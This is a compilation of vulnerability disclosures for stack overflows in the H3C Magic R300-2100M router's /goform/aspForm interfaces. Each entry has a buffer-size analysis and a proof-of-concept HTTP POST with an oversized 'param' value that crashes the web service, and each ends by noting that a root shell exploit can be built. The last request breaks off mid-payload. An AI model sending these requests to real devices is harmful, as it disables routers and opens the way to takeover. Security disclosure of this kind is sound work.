H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm. ## Vulnerability Details In the UpdateWanParams function, variable v27 is 64 bytes long. !\[\](https://i.imgur.com/WDK3g9I.png) !\[\](https://i.imgur.com/q54GVPx.png) V24 can be controlled by attacker, entered as parameter 'param'. !\[\](https://i.imgur.com/RYbrKEX.png) In line 55, v24 is formatted into v27 by function sscanf as long as the size of the data we enter is less than 512 bytes. So when the size of the data we enter is larger than the size of V27 and less than 512 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/qRxLceC.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; UPGRADE\_SOURCE= Connection: close Content-Length: 536 CMD=UpdateMacClone&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/x0dsbUP.png) And you can write your own exp to get the root shell.

CVE-2023-33633: H3C Magic R300-2100M was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the AddMacList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the AddMacList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the AddMacList interface at /goform/aspForm. ## Vulnerability Details !\[\](https://hackmd.io/\_uploads/By9kedoN3.png) In the AddMacList function, local variable v19 is 36 bytes long. !\[\](https://hackmd.io/\_uploads/rJzneOsN3.png) V12 can be controlled by attacker, entered as parameter 'param'. In line 47, v12 is formatted into v19 by function sscanf as long as the size of the data we enter until ';'. So when the size of the data we enter before ';' is larger than 36 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://hackmd.io/\_uploads/HykDb\_sNn.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 534 CMD=AddMacList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://hackmd.io/\_uploads/S1luWuj43.png) And you can write your own exp to get the root shell.

CVE-2023-33641: H3C Magic R300-2100M was discovered stack overflow via the AddMacList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the DelvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. ## Vulnerability Details In function DelvsList,the size of local variable v6 is noly 16 bytes long.Parameters in the DelvsList interface use the getElement function to split strings(Var) and get items. !\[\](https://i.imgur.com/LCb0yxd.png) !\[\](https://i.imgur.com/dtJI92p.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/MjBbyN0.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/fWslGFH.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/maintain\_basic.asp?basicTab=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 321 CMD=DelvsList&GO=dhcpd.asp&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33628: H3C Magic R300-2100M was discovered stack overflow via the DelvsList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the UpdateSnat interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm. ## Vulnerability Details !\[\](https://i.imgur.com/CeIo4N2.png) In the UpdateSnat function, local variable v11 is 64 bytes long. !\[\](https://i.imgur.com/GeMNMb3.png) V9 can be controlled by attacker, entered as parameter 'param'. In line 20, v9 is formatted into v11 by function sscanf as long as the size of the data we enter is less than 512 bytes. So when the size of the data we enter is larger than 64 bytes and less than 512 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/owB1os3.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; UPGRADE\_SOURCE= Connection: close Content-Length: 528 CMD=UpdateSnat&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/DnFFG8C.png) And you can write your own exp to get the root shell.

CVE-2023-33627: H3C Magic R300-2100M was discovered stack overflow via the UpdateSnat interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos_lanip_dellist interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the ipqos\_lanip\_dellist interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos\_lanip\_dellist interface at /goform/aspForm. ## Vulnerability Details In function ipqos\_lanip\_dellist,the size of local variable v5 is noly 16 bytes long.Parameters in the ipqos\_lanip\_dellist interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/QgGfFLG.png) !\[\](https://i.imgur.com/yZbW5M2.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/MRTp8UN.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2033 CMD=ipqos\_lanip\_dellist&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33632: H3C Magic R300-2100M was discovered stack overflow via the ipqos_lanip_dellist interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DelSTList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the DelSTList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DelSTList interface at /goform/aspForm. ## Vulnerability Details In function DelSTList(sub\_4677D0),the size of local variable v7 is noly 16 bytes long.Parameters in the DelSTList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/CXKJyhl.png) !\[\](https://i.imgur.com/bYrXAp7.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/HCTxPIp.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/maintain\_basic.asp?basicTab=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2025 CMD=DelSTList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;1;;; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33631: H3C Magic R300-2100M was discovered stack overflow via the DelSTList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the DeltriggerList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm. ## Vulnerability Details In function DeltriggerList(sub\_461B70),the size of local variable v7 is noly 16 bytes long.Parameters in the DeltriggerList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/GA1UMvP.png) !\[\](https://i.imgur.com/7GnOd1Y.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/0WNcwzS.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2028 CMD=DeltriggerList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa